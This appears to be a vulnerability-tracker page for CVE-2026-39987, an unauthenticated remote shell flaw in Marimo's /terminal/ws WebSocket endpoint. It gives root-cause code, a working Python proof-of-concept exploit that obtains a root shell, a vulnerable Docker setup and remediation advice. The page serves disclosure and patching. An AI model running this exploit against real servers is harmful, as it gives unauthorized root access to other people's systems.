Skip to main content

Python CVE-2026-39987

| EUVD-2026-20980 CRITICAL
Missing Authentication for Critical Function (CWE-306)
2026-04-08 https://github.com/marimo-team/marimo GHSA-2679-6mx9-h9xc
9.3
CVSS 4.0
Share

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

6
Re-analysis Queued
Apr 23, 2026 - 18:42 vuln.today
cvss_changed
Added to CISA KEV
Apr 23, 2026 - 17:46 CISA
EUVD ID Assigned
Apr 09, 2026 - 14:45 euvd
EUVD-2026-20980
Analysis Generated
Apr 09, 2026 - 14:45 vuln.today
Patch released
Apr 09, 2026 - 14:45 nvd
Patch available
CVE Published
Apr 08, 2026 - 21:50 nvd
CRITICAL 9.3

DescriptionNVD

Summary

Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.

Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.

Affected Versions

Marimo <= 0.20.4

Vulnerability Details

Root Cause: Terminal WebSocket Missing Authentication

marimo/_server/api/endpoints/terminal.py lines 340-356:

python
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
# No authentication check!
    await websocket.accept()
# Accepts connection directly
# ...
    child_pid, fd = pty.fork()
# Creates PTY shell

Compare with the correctly implemented /ws endpoint (ws_endpoint.py lines 67-82):

python
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    validator = WebSocketConnectionValidator(websocket, app_state)
    if not await validator.validate_auth():
# Correct auth check
        return

Authentication Middleware Limitation

Marimo uses Starlette's AuthenticationMiddleware, which marks failed auth connections as UnauthenticatedUser but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level @requires() decorators or validate_auth() calls.

The /terminal/ws endpoint has neither a @requires("edit") decorator nor a validate_auth() call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.

Attack Chain

  1. WebSocket connect to ws://TARGET:2718/terminal/ws (no auth needed)
  2. websocket.accept() accepts the connection directly
  3. pty.fork() creates a PTY child process
  4. Full interactive shell with arbitrary command execution
  5. Commands run as root in default Docker deployments

A single WebSocket connection yields a complete interactive shell.

Proof of Concept

python
import websocket
import time
# Connect without any authentication
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws')
time.sleep(2)
# Drain initial output
try:
    while True:
        ws.settimeout(1)
        ws.recv()
except:
    pass
# Execute arbitrary command
ws.settimeout(10)
ws.send('id\n')
time.sleep(2)
print(ws.recv())
# uid=0(root) gid=0(root) groups=0(root)
ws.close()

Reproduction Environment

dockerfile
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]

Reproduction Result

With auth enabled (server generates random access_token), the exploit bypasses authentication entirely:

$ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname"
[+] No auth needed! Terminal WebSocket connected
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
ddfc452129c3

Suggested Remediation

  1. Add authentication validation to /terminal/ws endpoint, consistent with /ws using WebSocketConnectionValidator.validate_auth()
  2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints
  3. Terminal functionality should only be available when explicitly enabled, not on by default

Impact

An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.

AnalysisAI

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the /terminal/ws WebSocket endpoint. The terminal handler skips authentication validation entirely, accepting connections without credential checks and spawning PTY shells directly. …

Sign in for full analysis, threat intelligence, and remediation guidance.

RemediationAI

Within 24 hours: Identify all Marimo deployments running version 0.20.4 or earlier using asset inventory and network discovery tools. Within 7 days: Upgrade all affected instances to Marimo 0.20.5 or later (vendor-released patch available). …

Sign in for detailed remediation steps.

Share

CVE-2026-39987 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy